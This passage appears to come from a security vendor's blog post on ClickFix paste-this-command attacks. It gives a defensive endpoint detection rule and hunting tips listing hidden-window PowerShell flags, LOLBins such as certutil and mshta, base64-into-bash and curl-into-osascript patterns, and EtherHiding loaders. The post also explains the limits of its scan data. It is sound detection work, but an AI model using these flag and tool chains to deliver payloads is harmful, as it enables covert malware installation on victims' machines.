And the endpoint side, as a shape rather than a product-specific rule, because every EDR can express it. The two keystroke paths look different on the endpoint. With Win + R the Run dialog starts the interpreter and the pasted line is its command line. With Win + X the victim opens an ordinary terminal and pastes into it; the interpreter’s command line is clean, and what the endpoint sees is that shell starting a child and the child going to the network. The second clause is for that path, and PowerShell script block logging, event 4104, is where the pasted line itself turns up.

Endpoint rule, Windowsdefensive rule · adapt to your tooling
-- Win+R path: the Run dialog starts the interpreter, the line is its command line
(parent in (explorer.exe)
  and child in (powershell.exe, pwsh.exe, cmd.exe, mshta.exe, msiexec.exe, conhost.exe)
  and (cmdline contains "-w h" or "-w hidden" or "WindowStyle Hidden" or "--headless" or "/qn" or "-enc")
  and network connection within 2 s of process start)

-- Win+X path: a terminal the victim opened; the pasted line never becomes a command line
or (parent in (powershell.exe, pwsh.exe, cmd.exe)
  and grandparent in (WindowsTerminal.exe, OpenConsole.exe, conhost.exe)
  and child in (msiexec.exe, curl.exe, rundll32.exe, mshta.exe, powershell.exe, certutil.exe)
  and network connection within 2 s of child start)
  • On Windows endpoints, a shell spawned by the Run dialog or by Windows Terminal with a hidden window and a network fetch in its first second is the whole family in one detection. Alert on Zone.Identifier being deleted from a file in a temp directory.
  • On macOS, base64 -D piped into bash from a Terminal that Spotlight just opened, and osascript -l JavaScript reading from curl, are not things people type.
  • Hunt EtherHiding by contract address and chain, not by RPC host. If you cannot read the chain, hunt the loader: a few hundred bytes of eth_call appended to a theme or plugin file on a WordPress site you own.
  • If a user forwards one of these pages, scan it. Visiting it from a corporate address may show you a clean site and mark the kit as having seen you.

What these numbers do not say

The corpus is what reached our scanner: pages people submitted, pages customers checked, and our own sweeps of newly registered and reported domains. It is not a census of the internet, and a family that people submit more often will look bigger than one they do not. Nineteen of every twenty scans in it are anonymous public scans. The tags only exist since August, so the corpus starts there, not when the technique did. And a page scanned twice is two rows: the thousand commands are captures, not unique payloads.

A Clean result on any of these hosts means the page did not attack that request. Several of the gating mechanisms above exist so that a page can attack one visitor and not the next, and we have watched the same URL refuse us and then serve us within an hour. The command kinds are a classifier’s names; a loader that names no interpreter is recorded as a capture rather than a kind, and there are 36 of those in the corpus. Four of the captured commands are not attacks at all. They are the official installer line of a programming language’s toolchain, copied by its own documentation page, recorded and left Clean, because the page shows it to you. We left them in the count on purpose; that is the discriminator from the first post doing its job.

If you are looking at a page that wants you to press three keys, put the URL through Urlyze instead of through your own keyboard. The earlier post, ClickFix: the malware you install yourself, explains why the usual checks score these pages zero.

Scan the page instead of opening it.